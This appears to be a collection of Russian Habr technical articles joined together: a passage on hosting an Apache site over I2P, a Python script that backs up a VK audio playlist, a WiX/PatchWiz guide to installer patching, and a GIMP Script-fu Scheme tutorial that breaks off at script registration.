2. Настройка I2P для работы с сервером
3. Регистрация в DNS
Подробнее о каждом из них под катом
#### Установка веб-сервера.
*(У кого уже стоит Apache2, тот может смело пропускать этот раздел)*
В стандартной поставке I2P есть сервер Jetty, но мы его использовать не будет, так как он написан на Java (что повышает его нагрузку на систему) и за отсутствие подключаемых модулей (так как у нас LAMP конфигурация, нам нужен PHP, который подключается толко через CGI. Это не есть хорошо). Мы будем устанавливать Apache.
Эта часть разнится для разных операционных систем, поэтому опишу отдельно.
###### Windows (WAMP):
Проще всего использовать готовый серверный пакет. Их существует множество, как например [AppServ](http://www.appservnetwork.com/), [Denwer](http://www.denwer.ru/), [TopServer](http://www.topserver.ru/show.php?part=main&page=about) и т.д. Мы поставим AppServ, но в принципе подойдёт любой. Они одинаковы в конфигурировании.
1. Скачиваем AppServ: [sourceforge.net/projects/appserv/files](http://sourceforge.net/projects/appserv/files/) (На момент написания топика последняя версия 2.6.0, но лучше поставить 2.5.10, так как здесь стабильный PHP5)
2. Устанавливаем (Пара скриншото из-под вайна ;) ):
Выбор нужных компонентов:
Ввод данных о сервере:
3. Готово!
###### Linux (LAMP):
Напишу процесс для Ubuntu, так как остальные, думаю, знают, как ставить Apache :)
Apache2 без дополнительных модулей ставится командой: `sudo apt-get install apache2`
Затем, если необходимо, можно доставить PHP и mysql: `sudo apt-get install libapache2-mod-php5 php5-mysql`
#### Настройка I2P для работы с сервером
Заходим в менеджер туннелей: [127.0.0.1](http://127.0.0.1):7657/i2ptunnel/index.jsp
Создаём новый серверный HTTP туннель:
Попадаем в настройки:
Теперь по пунктам:
* Название(N) и Описание(e) — Просто имя и описание туннеля. Ни на что не влияют.
* Адрес(H) и Порт(P) — Адрес и порт нашего веб-сервера. Мы будем ставить на 127.0.0.1 и порт 80.
* Имя веб-сайта(W) — Домен, на котором мы планируем держать сайт.
* Файл секретного ключа(k) — Файл, в котором будет храниться ключ, по которому генерируется адрес туннеля. **Совет:** после генерации файла (размер 663 байта) сразу сделайте его резервную копию, иначе, при его потере, вы потеряете доменное имя. Оно будет забито за вами, но вы не будете иметь к нему доступ.
Нажимаем «Сохранить». Затем «Запустить». После запуска идём в настройки туннеля и копируем Локальный адрес назначения(L). Он пригодится нам при регистрации в DNS.
#### Регистрация в DNS (опционально)
Регистрация на сайте, предоставляющем hosts.txt в общем-то необязательна, ибо в I2P DNS является полностью распределённым. Клиенты сами обмениваются между собой «адресными книгами». Но уж если хочется, то… заходим на сервер [stats.i2p](http://stats.i2p/i2p/addkey.html) и вводим свой хост [Имя веб-сайта(W)] и Локальный адрес назначения(L).
Регистрация завершена!
**Необязательно:** добавьте перенаправление созданного хоста на 127.0.0.1 в файл
Windows: %WINDIR%/system32/drivers/etc/hosts
Linux: /etc/hosts
Так мы укажем ОС, что сайт хостится у нас.
#### Итог
Ну вот, теперь у нас есть резиденция в этой сети. Можно устроить там торрент трекер, имиджборду, или даже что-то наподобие [wikileaks.org](http://wikileaks.org). Никто вас не найдёт =).
**Другие статьи по теме:**
[I2P — Проект Невидимый Интернетт](http://habrahabr.ru/blogs/infosecurity/97827/) | https://habr.com/ru/post/97996/ | null | ru | null |
# Бекап аудиозаписей с плейлиста ВКонтакте (до 6000) средствами Python и Vk API
Здравствуйте.
Раньше часто слушал музыку средствами «Вконтакте» (далее ВК). После перехода на Ubuntu 14.10 возникли проблемы в виде полного зависания компьютера во время прослушивания аудиозаписей через браузер Google Chrome для linux систем. В связи с этим возникла необходимость забекапить свой плейлист для прослушивания музыки в оффлайн режиме. Для этих целей решил написать маленький скрипт на языке Python, которым можно будет не только скачивать музыку с нуля, но и обновлять существующую библиотеку.
Я использовал такие модули:
* Selenium webdriver
* requests
* json
* os
Собственно, начнем.
Сначала подключаем модули:
```
import os
import requests
from selenium import webdriver
import json
```
Далее нужно получить access\_token для выполнения запросов к API и получения необходимых нам прав доступа.
Перед этим нам нужно создать и активировать свое Standalone/Desktop приложение, id которого мы будем указывать в запросе.
Схема довольно простая: Мы открываем окно браузера, переходим по ссылке, вводим данные от аккаунта, разрешаем доступ, на выходе копируем необходимые данные с url(это access\_token и expires\_in — срок истекания токена).
Более детально о создании приложения и авторизации можно почитать [здесь](https://vk.com/dev/main).
Я использовал selenium из-за собственной лени. У этого модуля достаточно функционала для автоматизации всех вышеуказанных действий. Вы можете использовать любой другой виртуальный браузер, который вам нравится.
Собственно код с комментариями:
```
# Создаем объект драйвера
driver = webdriver.Firefox()
# Переходим по ссылке.
# client_id - идентификатор созданного нами приложения
# scope - права доступа
driver.get("http://api.vkontakte.ru/oauth/authorize?"
"client_id=4591034&scope=audio"
"&redirect_uri=http://api.vk.com/blank.html"
"&display=page&response_type=token")
user = "email/phone"
password = "password"
# Находим элементы формы и вводим данные для авторизации
user_input = driver.find_element_by_name("email")
user_input.send_keys(user)
password_input = driver.find_element_by_name("pass")
password_input.send_keys(password)
# Нажимаем на кнопку
submit = driver.find_element_by_id("install_allow")
submit.click()
# Получаем необходимые данные для выполнения запросов к api
current = driver.current_url
access_list = (current.split("#"))[1].split("&")
access_token = (access_list[0].split("="))[1] # acces_token
expires_in = (access_list[1].split("="))[1] # срок времени действия токена
user_id = (access_list[2].split("="))[1] # id нашей учетной записи в ВК
# Закрываем окно браузера
driver.close()
```
До недавнего времени «ВК API» возвращало все данные в формате xml, что было немного неудобным. Сейчас же ответы сериализируются в json словарь с которым можно без проблем работать. Здесь нам пригодится библиотека **json**, а конкретнее метод **loads()**, который преобразовывает строку в словарь.
Дальше план действий довольно простой:
1. Выполняем запрос и получаем в ответе список всех аудиозаписей с плейлиста учетной записи (ограничение до 6000);
2. Преобразовываем ответ в словарь;
3. Берем необходимую информацию со словаря (исполнитель, название трека, ссылка на трек);
4. Скачиваем аудиозаписи в нужную директорию, называя нужными названиями, а не стандартным набором букв, в котором хранится название трека.
Первый шаг:
```
# Принт для дебага
print "Connecting"
# Адрес запроса
url = "https://api.vkontakte.ru/method/" \
"audio.get?uid=" + user_id +\
"&access_token=" + access_token
# Создаем листы для хранения данных
artists_list = []
titles_list = []
links_list = []
# счетчик для дебага и перехода по элементам листов
number = 0
# Читаем ответ сервера и сохраняем в переменную
page = requests.get(url)
html = page.text
```
Второй шаг:
```
my_dict = json.loads(html) # используем loads()
```
Третий шаг, думаю все понятно без комментирования:
```
for i in my_dict['response']:
artists_list.append(i['artist'])
titles_list.append(i['title'])
links_list.append(i['url'])
number += 1
```
Четвертый и заключительный шаг:
```
# Создаем директорию, если она не была создана ранее
path = "downloads"
if not os.path.exists(path):
os.makedirs(path)
# Принт для дебага
print "Need to download: ", number
# Процесс скачивания файлов
for i in range(0, number):
# Путь по которому будет храниться/скачиваться конкретная аудиозапись
new_filename = path+"/"+artists_list[i] + " - " + titles_list[i] + ".mp3"
print "Downloading: ", new_filename, i
# Проверка на существующий файл
if not os.path.exists(new_filename):
# Сама загрузка файла, отсекаем из ссылки все аргументы и указываем путь куда скачивать
with open(new_filename, "wb") as out:
response = requests.get(links_list[i].split("?")[0])
out.write(response.content)
print "Download complete."
```
Сейчас веду работу над самопальным плеером для прослушивания аудиозаписей с ВК (да, именно отдельный плеер, а не плагин для уже существующих популярных проигрывателей). В дальнейшем планирую написать статью, в которой будет описан процесс.
На этом все, спасибо за внимание.
**UPD:**
Статья немного отредактирована в соответствии с пожеланиями из комментариев. | https://habr.com/ru/post/247987/ | null | ru | null |
# Создание patch’ей на Wix при помощи PatchWiz. Часть 2
Добрый день всем! В своей [прошлой статье](http://habrahabr.ru/post/190546/) я поставил задачу генерации патчей и начал обзор технологии их создания на Wix (с использованием *PatchWiz*). Там же мы пришли к выводу, что для полноценного решения задачи нужно «что-то еще». Добро пожаловать в часть 2, где я опишу наши организационный и технический подходы со всеми исходниками.
Для начала я все же скажу, что описываю наш подход, то есть свой опыт и результат, а не догму.
Итак для того чтобы избежать всех указанных в прошлый раз недостатков, нам пришлось разработать правила для создания инсталляций и утилиту для создания патчей.
#### Наше организационное решение задачи
Решили делать так: инсталляции собираются из *[merge modules](http://wix.sourceforge.net/manual-wix2/authoring_merge_modules.htm)*.
Выделена некая базовая сборка (базовая линия), включающая в себя модули с бинарниками, обязательные для всех. Она собирается для каждой новой версии продукта. При чем, если был изменен только *Build number*, то происходит создание разностного патча, где базовой версией является предыдущая с *Build number* = 0 (назовем их опорными сборками).
Кружками на оси времени обозначены созданные сборки. Синим цветом обозначены опорные сборки, зеленым – сборки, где дополнительно создавался разностный патч на основе предыдущей опорной сборки. Кроме того, дополнительно, для опорных сборок тоже формируется разностный патч на основе предыдущей опорной сборки.
Таким образом, когда клиент запрашивает у нас последнюю версию, мы уточняем, есть ли у него установленная версия сейчас и каков ее номер. Далее – либо посылается полная сборка либо патч.
Аналогичная схема работает и при автоматическом обновлении: с сервера приходит либо *msi*, либо *msp* пакет, который устанавливается стандартными средствами *msiexec*.
Для понимания реализация этого механизма рассмотрим следующие решение.
#### Обзор решения
Для начала рассмотрим общую структуру решения (само собой папки названы для наглядности). Полностью его исходники выложены на *GitHub*, ссылка в конце.
Папки содержат:
1. Непосредственно само приложение.
2. Общие файлы для сбора инсталляций, включая расширение для *Wix*.
3. Проект инсталляция приложения.
4. Утилита для создания патчей.
5. Батник для теста.
Номера папок отражают порядок необходимых действий. Начнем.
#### Идем по шагам
###### Шаг 1. Написать приложение
В нашем случае это будет простое консольное приложение «Hello, World!», у которого мы будем менять версию.
###### Шаг 2. Пишем общие части для инсталляций
Идем по файлам:
*Deploy.Variables.wxi* — общие переменные для всех инсталляций компании:
```
define Manufacturer="Предприятие"?
define ManufacturerUrl="http://company.ru"?
define Language="1049"?
define Codepage="1251"?
```
Мне кажется здесь все ясно: указываются переменные, которые будут использоваться во всех проектах инсталляций.
*Deploy.Yasen.Variables.wxi* — общий *Wix* файл для всех инсталляций продукта:
```
define ProductName="Ясень" ?
define YasenProductCode="{06CABA42-492E-49CE-9849-F85E87442E99}"?
define YasenUpgradeCode="{BA8CCE3C-4267-4291-B330-16EE510F023B}"?
```
Зачем мы здесь выносим отдельно коды продукта и обновления? Потому что они потом нам потребуются во многих местах (в разных проектах инсталляций и описателе патча).
*Deploy.Yasen.ProductContent.wxi* – общий файл с разнообразными свойствами инсталляций.
```
```
В этом файле мы, наконец, начинаем использовать переменные из предыдущих файлов (они будут доступны здесь позже, когда мы будем создавать основной файл инсталляции). Указываются необходимый элемент *Media* и задается несколько дополнительных (в основном касающихся обновлений):
* **MSIUSEREALADMINDETECTION** – если = 1, то будет затребованы права реального администратора (имеется ввиду через UAC).
* Элемент **MajorUpgrade** – указывает возможности для *Major upgrade*, в нашем случае – разрешено обновление на новую версию и запрещено откат на старую.
* Элемент **Upgrade** – содержит описание возможных обновлений.
* Элемент **UpgradeVersion** описывает условия обнаружения предыдущих версий (по *UpgradeCode*) и действия в случае их обнаружения. Возможные варианты (все не привожу):
**Minimum** – минимальная версия, которую может обновить данная инсталляция.
**Maximum** – максимальная версия, которую может обновить данная инсталляция.
**IncludeMaximum** – «включительно» максимальную версию (по умолчанию — да).
**IncludeMinimum** – «включительно» минимальную версию.
**Property** – содержит имя некоторой переменной. В случае, если по указанным версиям будет найден соответствующий продукт, то в эту переменную будут записано их коды через ‘;’. Значения этой переменный может в дальнейшем участвовать, например, при выполнении *CustomAction*.
**OnlyDetect** – Если = ‘*yes*’, то указанные версии будут только обнаруживаться и записываться в указанные свойства, но не будет происходить их деинсталляция.
**IgnoreRemoveFailure** – сообщает игнорировать ли ошибки при деинсталляции обнаруженной версии.
В нашем случае, **UpgradeVersion** настроен так, чтобы можно было обновлять все предыдущие версии в рамках нашего *UpgradeCode*.
Идем далее: *Deploy.Yasen.PatchCreation.xml* – описатель патчей для данного продукта.
```
include Deploy.Variables.wxi?
include Deploy.Yasen.Variables.wxi?
define PatchDescription="Обновление $(var.ProductName)"?
```
Структуру **PatchCreation** мы достаточно подробно рассматривали в части 1. Но здесь можно увидеть минимум 2 очень важных отличия:
* Атрибут **Validation** у элемента **TargetImage**. Именно этот атрибут позволяет нам разрешить пропуск патчей. Подробно он описан [здесь](http://msdn.microsoft.com/en-us/library/windows/desktop/aa370073(v=vs.85).aspx). Итак, чтобы разрешить обновлять несколько версий, обычно надо указывать их все (элементами **TargetImage**), что в свою очередь увеличивает размер патча. Учитывая наши требования и организационные меры (принцип версий), мы обошлись указанием только предыдущей опорной сборки и флагом **Validation** со значение **912**. Это значение указывает, что для применения патча на установленный продукт должно выполняться условие: *UpgradeCode*, *ProductCode* и *magor* и *minor* версии патча (до которой обновляем) и установленной версии должны совпадать (а *build number* — нет). Таким образом, пропуски обновлений внутри *minor* версии будут разрешены! Дай пять! Значение Validation может принимать довольно широкий диапазон значений и можно получить очень интересный эффект. Enjoy!
* Также в файле *PatchCreation* используются переменные, которые нигде не были объявлены ранее, например: *var.PatchFamily*, *var.PatchVersion*. Их использование нам станет ясно на шаге 4.
И еще на шаге 2 присутствует некий проект *Incom.WixExtensions* (в папке). Это проект с расширением для *Wix*. Он логически должен присутствовать именно здесь, а его использование станет понятно на шаге 3.
###### Шаг 3. Собираем инсталляцию для некоторого заказчика
Сначала подключим *Wix* файлы с переменными, которые мы объявили до этого.
```
define WixCommonPath="$(var.ProjectDir)..\"?
include $(var.WixCommonPath)\Deploy.Variables.wxi?
include $(var.WixCommonPath)\Deploy.Yasen.Variables.wxi?
```
Затем объявим версию ПО и текущие коды продукта и линейки обновления.
```
define Subject="Калининградская область"?
define ProductVersion="$(incom.FileVersion($(var.Yasen.UI.TargetPath)))"?
define UpgradeCode="$(var.YasenUpgradeCode)"?
define ProductCode="$(incom.ChangeGuid($(var.YasenProductCode),$(var.ProductVersion), 2))"?
```
Обратите внимание, что *UpgradeCode* используется «как есть», а для кода продукта применяется некое преобразование.
Используя это преобразование, мы стремимся к следующей цели: при изменении *Build number Product Code* не должен меняться, чтобы можно было создать разностный патч, а при изменении *Major* или *Minor* версии – *Product* Code должен меняться (это было описано в первой части). Соответственно, мы делаем следующее: используем код продукта из глобальной переменной и вызываем функцию преобразования, указывая от каких частей версии итоговая версия зависит. При чем, 1 – только от *major*, 2 – от *major* и *minor*, и далее по аналогии до значения 4.
Настало время для упомянутого выше расширения для *Wix*.
Так как цель статьи не в описании технологии создания расширений для *Wix* (можно посмотреть [тут](http://wix.sourceforge.net/manual-wix3/extension_development_preprocessor.htm)), то я приведу суть кратко: создается расширение для препроцессора, у которого переопределен метод *EvaluateFunction*. Он будет вызывается *Wix*’ом при использовании функций с префиксом *incom*.
В этом методе мы выполняем 2 функции:
• Получение версии файла
• Универсальная функция изменения *Guid*
**Кусок кода расширения Wix для вычисления функций**
```
///
/// Выполнить функцию
///
/// Префикс
/// Имя функции
/// Аргументы
/// Вычисленное значение
public override string EvaluateFunction(string prefix, string function, string[] args)
{
if (prefix == "incom")
{
switch (function.ToLower())
{
case "fileversion":
var ver = FileVersionInfo.GetVersionInfo(Path.GetFullPath(args[0])).FileVersion;
Console.WriteLine(string.Format("Version of {0}: {1}", args[0], ver));
return ver;
case "changeguid":
var guid = Guid.Parse(args[0]).ToByteArray();
version = Version.Parse(args[1]);
var major = BitConverter.GetBytes((Int16)((version.Major & 0xFF) ^ ((version.Major >> 16) & 0xFF)));
var minor = BitConverter.GetBytes((Int16)((version.Minor & 0xFF) ^ ((version.Minor >> 16) & 0xFF)));
var build = BitConverter.GetBytes((Int16)((version.Build & 0xFF) ^ ((version.Build >> 16) & 0xFF)));
var revision = BitConverter.GetBytes((Int16)((version.Revision & 0xFF) ^ ((version.Revision >> 16) & 0xFF)));
var len = 4;
if (args.Length > 2)
len = int.Parse(args[2]);
if (len > 0)
{
guid[0] = major[0];
guid[1] = major[1];
}
if (len > 1)
{
guid[2] = minor[0];
guid[3] = minor[1];
}
if (len > 2)
{
guid[4] = build[0];
guid[5] = build[1];
}
if (len > 3)
{
guid[6] = revision[0];
guid[7] = revision[1];
}
return new Guid(guid).ToString();
}
}
return base.EvaluateFunction(prefix, function, args);
}
```
Таким образом, наши коды ведут себя предсказуемо и зависят от версии продукта. Когда мы меняем код немного – мы меняем *Build number* (раз в 2-3 недели), что-то посерьезней – меняем *Minor number* (примерно раз в 2-3 месяца), чтобы сформировалась опорная сборка. Когда переписывается все – меняется *Major number* (примерно раз в 3-4 года).
Вернемся к *wix* файлам. Далее все стандартно: используя переменные, объявленные выше, создаем блок *Product*, указываем файлы, компоненты, фичи, используем *Deploy.Yasen.ProductContent*, описанный на предыдущем шаге.
```
include $(var.WixCommonPath)\Deploy.Yasen.ProductContent.wxi?
```
###### Шаг 4. Создание патча
Сейчас мы имеем все необходимое для создания инсталляций нашего продукта и это уже даже можно сделать, но наша цель – патчи.
Как было отмечено в части 1, создавать патчи из командной строки – дело довольно хлопотное, поэтому на этом шаге мы пишем новую утилиту *MakeMsp*, которая выполняет эти шаги за нас. Требования по использованию будут такие: в аргументах указывается базовая сборка, конечная сборка, описатель патчей и путь к результату.
```
Incom.MakeMsp.exe "YasenSetup1.msi" "YasenSetup1.0.1.msi" "Deploy.Yasen.PatchCreation.xml" "Patch.msp"
```
В общем алгоритм следующий:
**1.** Копируем обе *msi* во временную папку
**Кусок кода копирования**
```
Task.WaitAll(
Task.Run(
() =>
{
Console.WriteLine("Start copying RTM...");
File.Copy(args[0], rtmFilePath, true);
Console.WriteLine("Finished copying RTM...");
})
,
Task.Run(
() =>
{
Console.WriteLine("Start copying latest...");
File.Copy(args[1], latestFilePath, true);
Console.WriteLine("Finished copying latest...");
}));
```
**2.** Помните, на шаге 2, при создании *PatchCreation*, мы использовали неизвестные переменные? Настало время их определить. Для этого утилита создает временный файл с *Wix* структурой, куда записываются значения этих переменных.
**Кусок кода создания файла с переменными для создания патча**
```
var productName = MsiReader.GetMSIParameters(latestFilePath, "ProductName");
var wixPachCreationReference = string.Format(
@"xml version=""1.0"" encoding=""utf-8""?
define Family='{0}'?
define PatchFamily='{0}'?
define PatchId='{1}'?
define ProductCode='{2}'?
define PatchVersion='{3}'?
define BaseMsi='{4}'?
define NewMsi='{5}'?
include {6}?
",
new string(Transliterate(productName).Where(char.IsLetterOrDigit).Take(8).ToArray()),
Guid.NewGuid().ToString(),
MsiReader.GetMSIParameters(latestFilePath, "ProductCode"),
MsiReader.GetMSIParameters(latestFilePath, "ProductVersion"),
Path.Combine(rtmPath, "rtm.msi"),
Path.Combine(latesPath, "last.msi"),
Path.GetFullPath(args[2])
);
```
В качестве **PatchFamily** используется имя продукта с транслитерацией. **PatchId** – новый Guid. **ProductCode**, **PatchVersion** – извлекаются из конечной *msi*, **BaseMsi** и **NewMsi** – пути ко временным *msi* (скопированным во временную папку). В конце делается *include* на сам файл с **PatchCreation**.
**3.** Далее выполняются шаги компиляции, описанные в части 1.
Административная установка:
```
exec("msiexec", string.Format("/a \"{0}\" /qn TARGETDIR=\"{1}\\\"", rtmFilePath, rtmPath));
exec("msiexec", string.Format("/a \"{0}\" /qn TARGETDIR=\"{1}\\\"", latestFilePath, latesPath));
```
Компиляция и создание патча:
```
exec("candle", string.Format("\"{0}\" -out \"{1}\\patch.wixobj\"", Path.Combine(tempDir, "desc.xml"), tempDir));
exec("light", string.Format("\"{0}\\patch.wixobj\" -out \"{0}\\patch.pcp\"", tempDir));
exec("msimsp", string.Format("-s \"{0}\\patch.pcp\" -p \"{1}\" -l \"{0}\\msimsp.log\"", tempDir, args[3]));
```
###### Шаг 5. Компиляция всего и вся
Теперь у нас есть все, что нам надо: проект инсталляции, расширения для *Wix*, описатель патча, утилита для создания патча. Настало время собрать все вместе.
Для этого в корне решения есть файл **CompileAll.bat**, который соберет все это вместе (требуется *framework 4.0*) и положит результат в папку *Releases*. Можете увидеть все это в исходниках.
#### Использование результатов
Полученный результат после запуска **CompileAll.bat**.
##### Обновление патчами
Поставить версию 1 можно просто по **DblClick**. Результат:
Поставить патч тоже можно по **DblClick**:
Просмотр установленных обновлений покажет это:
##### Обновление полным пакетом
Если нам потребуется обновить версию с 1.0.0 до 1.0.1 при помощи полного пакета *msi*, то придется использовать консоль со следующими параметрами:
```
msiexec /i YasenSetup1.0.1.msi REINSTALL=ALL REINSTALLMODE=vomus
```
Здесь:
**REINSTALL** – Указывает, какие фичи будут переустановлены данным пакетом при обновлении (мы указываем, что все). Если мы это свойство не укажем, то при попытке запуска пакета (и установленной старой версией) будет выдано сообщение «Другая версия уже установлена». ([подробности](http://msdn.microsoft.com/en-us/library/windows/desktop/aa371175(v=vs.85).aspx))
**REINSTALLMODE** – свойство, которое указывает как именно будет проходить переустановка (обновление) файлов. ([подробности](http://msdn.microsoft.com/en-us/library/windows/desktop/aa371182(v=vs.85).aspx)). В нашем случае это:
**v** – необходимо перекэшировать пакет в локальном хранилище. Дело в том, что для каждого продукта (*ProductCode*) *Windows* запоминает значение *Package.Id*, откуда был поставлен продукт. Если продукт уже установлен и выполняется попытка установить даже идентичный по содержанию и версии пакет, но с другим *Package.Id* (просто сделали перестроение решения), то кэшированное значение *Package.Id* не совпадет с *Package.Id* новой инсталляции и будет выдано предупреждение, что установлена другая версия. При наличии «**v**» *Package.Id* не будет проверяться на соответствие.
**o** – переписываем файл, если версия текущего меньше новой, либо файл отсутствует.
**m** – перезаписываются ключи реестра (*HKEY\_LOCAL\_MACHINE* и *HKEY\_CLASSES\_ROOT*)
**u** – перезаписываются ключи реестра (*HKEY\_CURRENT\_USER* и *HKEY\_USERS*)
**s** – переписать все ярлыки и переписать кэш иконок.
Есть варианты, как избежать этого неудобного способа обновления и добиться работы только по **DblClick**, но это уже совсем другая история.
#### Подытожим
Итак, для решения задачи были сделаны следующие шаги:
1) Выработаны специальные требования для написания *Wix* инсталляций для конечных пользователей, которые включают в себя:
a. Вынести все, что возможно в общие файлы, *merge modules* и использовать директиву *include*.
b. Генерировать *Product.ProductCode* на основе базового значения.
2) Создать единый проект для генерации патчей.
3) Сделать специальную утилиту, которая поможет формировать патчи.
#### Окончательный итог
*Wix* помогает решить большую головную боль, за что ему большое спасибо.
Конечно, некоторые вещи остались в тени, но самое важно и ценное представлено читателю.
Спасибо.
Ссылки:
Все исходники на [GitHub](https://github.com/neisbut/WixInstallersAndPatches) | https://habr.com/ru/post/190654/ | null | ru | null |
# GIMP Script-fu: быстрое изучение и написание простых скриптов на Scheme (+ пакетная обработка бесплатно)
 #### **Вступление**
В статье будет рассказано о том, как в кратчайшие сроки познакомиться с основами скриптинга в GIMP на языке [Scheme](http://ru.wikipedia.org/wiki/Scheme) и приступить непосредственно к решению простых практических задач. Данный материал предназначен лишь для тех, кто собирается автоматизировать рутинную обработку здесь и сейчас, не сильно вдаваясь в тонкости и не жертвуя драгоценным временем. Также, **статью не рекомендуется использовать в качестве пособия по Scheme** отдельно от Script-fu. Связано это с упрощённым стилем программирования в данном материале и отсутствием освещения других немаловажных фактов, которые нас сейчас волнуют гораздо меньше, чем скорость освоения.
**Содержание:**
1. Что нам понадобится?
2. Коротко о синтаксисе
3. Переменные
4. Функции
5. Списки
6. Регистрация скрипта в GIMP
7. Написание кода
8. Заключение
#### **Что нам понадобится?**
**Английский интерфейс**: для этого достаточно создать переменную окружения «LANG» со значением «en». Зачем это нужно? Во-первых, так будет проще искать соответствие процедур объектам интерфейса. Во-вторых, мне не придется приводить команды на двух языках. В-третьих, на английском языке в интернете больше всего информации.
**Консоль Script-fu**: Filters → Script-fu → Console. Здесь мы сможем тестировать небольшие кусочки кода, — то, что нужно при освоении языка.
**Обозреватель процедур**: Help → Procedure Browser. Здесь можно без особого труда найти функцию, выполняющую требуемое действие и прочитать ее полное описание (всё хорошо задокументировано).
**Редактор кода с подсветкой и/или подсчётом парных скобок**. Оставлю на ваш вкус. Мне хватило Notepad++. Но учтите, скобок будет много!
В нескольких последующих секциях содержатся выдержки из первых четырех страниц [документации Script-fu](http://docs.gimp.org/en/gimp-using-script-fu-tutorial.html) и немного отсебятины. Настоятельно рекомендуется попробовать запустить приведенные ниже примеры в консоли.
#### **Коротко о синтаксисе**
* Все выражения в Scheme должны быть окружены скобками.
* Имя функции всегда идёт первым в скобках, а затем идут её параметры.
* Математические операторы также являются функциями.
Самое время привести пример:
```
(* (+ 1 2) (sqrt (- 13 4)) 10)
```
Последним будет посчитан результат умножения. Как видно, функции умножения передаётся три аргумента: результат сложения, результат извлечения корня из разности и число. Обратите внимание на количество скобок: они здесь везде обязательны. Это может мешать, но зато всегда понятно, что́ за чем вычисляется.* Функция и каждый из аргументов должны быть отделены друг от друга пробелами.
Пример: «`(+ 1 2)`» — корректный код, «`(+1 2)`» — не является таковым.* Всё, что идет за символом «`;`», является комментарием и игнорируется.
#### **Переменные**
Переменные в Scheme определяются с помощью конструкции `let*`. Общий вид:
```
(let*
(
(переменная значение)
...
(переменная значение)
)
(выражение)
...
(выражение)
)
```
Если сравнивать с императивными языками, то это что-то вроде объявления локальных переменных. Иными словами, после скобки, закрывающей конструкцию `let*`, переменные перестают существовать.
Пример:
```
(let*
(
(a 1)
(b (+ a 2))
)
(+ a b)
)
```
Ещё пример:
```
(let*
( (x 9) )
(sqrt x)
)
```
Обратите внимание, что даже в том случае, когда мы определяем только одну переменную, внешние скобки для списка переменных **не опускаются**!
Новое значение переменной можно присвоить с помощью конструкции `set!`:
```
(set! переменная значение)
```
Пример:
```
(let*
( (a 42) (b 21) (x 0) )
(set! x (/ a b))
)
```
#### **Функции**
Свои функции можно определить с помощью конструкции `define`:
```
(define (имя_функции аргументы) код_функции)
```
Значением функции будет результат выполнения последней команды в коде функции.
Реализуем функцию вычисления разницы модулей (). Это можно сделать с помощью `abs`, но мы сделаем чуть сложнее:
```
(define (difference x y)
(if (< x 0) (set! x (- x)))
(if (< y 0) (set! y (- y)))
(if (> x y) (- x y) (- y x))
)
```
Здесь мы использовали конструкцию `if`, которая проверяет истинность первого своего аргумента и в зависимости от этого выполняет либо второй, либо третий аргумент (причём последний, как можно видеть, необязателен).
Обратите внимание, что функция может обращаться со своими аргументами как с переменными, но изменяет она лишь их копии. В этом можно убедиться следующим образом:
```
(let* ((a 3) (b -4)) (list (difference a b) a b))
```
(Функция `list` здесь используется для вывода нескольких результатов — значения функции, переменной `a` и переменной `b`, — а подробнее о списках мы поговорим ниже). Запустите в консоли и проверьте, что значения переменных не изменились.
#### **Списки**
Чтобы определить список, достаточно написать (никаких запятых):
```
'(0 1 1 2 3 5 8 13)
```
Пустой список можно задать как через «`'()`», так и через «`()`». Списки могут содержать как атомарные значения, так и другие списки:
```
(let*
(
(x
'("GIMP" (1 2 3) ("is" ("great" () ) ) )
)
)
x
)
```
Поскольку один апостроф мы уже написали, внутренние списки предварять им необязательно.
Чтобы добавить к началу списка еще один элемент, нужно воспользоваться функцией конкатенации `cons`:
```
(cons 1 '(2 3 4) )
```
Она одинаково хорошо работает и с пустыми списками («`(cons 1 () )`» даст список из одного элемента).
Для создания списка, содержащего значения ранее объявленных переменных, потребуется функция `list`:
```
(let* ( (a 1) (b 2) (c 3) )
(list a b c 4 5)
)
```
Чтобы понять разницу с определением списка через апостроф, замените «`(list a b c 4 5)`» на «`'(a b c 4 5)`» и сравните вывод.
Это всё хорошо, а как же получить содержимое списка? Для этого есть две функции. Первая, `car`, возвращает голову списка, то есть первый элемент. Вторая, `cdr`, возвращает хвост списка, то есть список, содержащий все элементы кроме первого. Обе функции предполагают, что список непуст. Примеры:
```
(car '(1 2 3 4) )
```
```
(cdr '(1 2 3 4) )
```
```
(car '(1) )
```
```
(cdr '(1) )
```
Вместо последовательного вызова `car` и `cdr` бывает полезно воспользоваться функциями типа `caadr`, `cddr` и т.п. Например, чтобы получить второй элемент списка, напишем следующее:
```
(cadr '("first" "second") )
```
что эквивалентно
```
(car (cdr '("first" "second") ) )
```
В следующем примере попробуйте добраться до элемента 3, используя только два вызова таких функций:
```
(let* ( (
x '( (1 2 (3 4 5) 6) 7 8 (9 10) )
) )
; здесь ваш код
)
```
Если у вас получилось, значит, вы уже почти готовы написать свой первый скрипт.
#### **Регистрация скрипта в GIMP**
Прежде чем садиться писать код, обеспечим себе для этого удобные условия.
Для скриптов пользователя GIMP создает в домашней директории папку `.gimp-2.6/scripts`. Чтобы скрипт подцепился, достаточно поместить в неё scm-файл и в меню GIMP выбрать Filters → Script-fu → Refresh Scripts (это если GIMP уже запущен, а иначе он сам всё загрузит при запуске).
В файл, очевидно, надо поместить написанные нами функции. В нём могут содержаться сколько угодно функций, но неплохо бы логически разные функции разнести по разным файлам, а файлы назвать в честь содержимого. Ещё одна рекомендация, даже соглашение: созданные нами функции должны именоваться по типу `script-fu-functionname`.
По большому счёту, этого уже достаточно, чтобы мы могли вызывать наши функции из консоли.
Но если мы хотим, чтобы у скрипта была своя менюшка, и при его вызове открывалось окошко с настройкой параметров, то надо добавить две функции, отвечающие за регистрацию. И тут ничего сложного, достаточно взглянуть на пример.
Пусть мы хотим написать функцию, улучшающую качество текста на снимке с неравномерной освещённостью (на самом деле, я её уже написал, но это не мешает нам сделать это ещё раз). Вот её определение:
```
(define (script-fu-readability inImage inLayer inRadius inHigh-input))
```
Знаю-знаю, здесь только объявление функции, и она ничего не делает. Полезный код будет чуть позже. Сейчас нам и этого вполне достаточно. Регистрация же происходит вот так:
```
(script-fu-register
"script-fu-readability"
"Readability"
"Improves text readability on the photos. It's needed only when there is a non-uniform illumination"
"Dragonizer"
"Copyleft, use it at your own sweet will"
"January 7, 2011"
"RGB* GRAY* INDEXED*"
SF-IMAGE "The image" 0
SF-DRAWABLE "The layer" 0
SF-ADJUSTMENT "Median blur: radius" '(15 1 20 1 5 0 SF-SLIDER)
SF-ADJUSTMENT "Levels: intensity of highest input" '(235 0 255 1 10 0 SF-SPINNER)
)
(script-fu-menu-register "script-fu-readability" "/Filters/User's scripts")
```
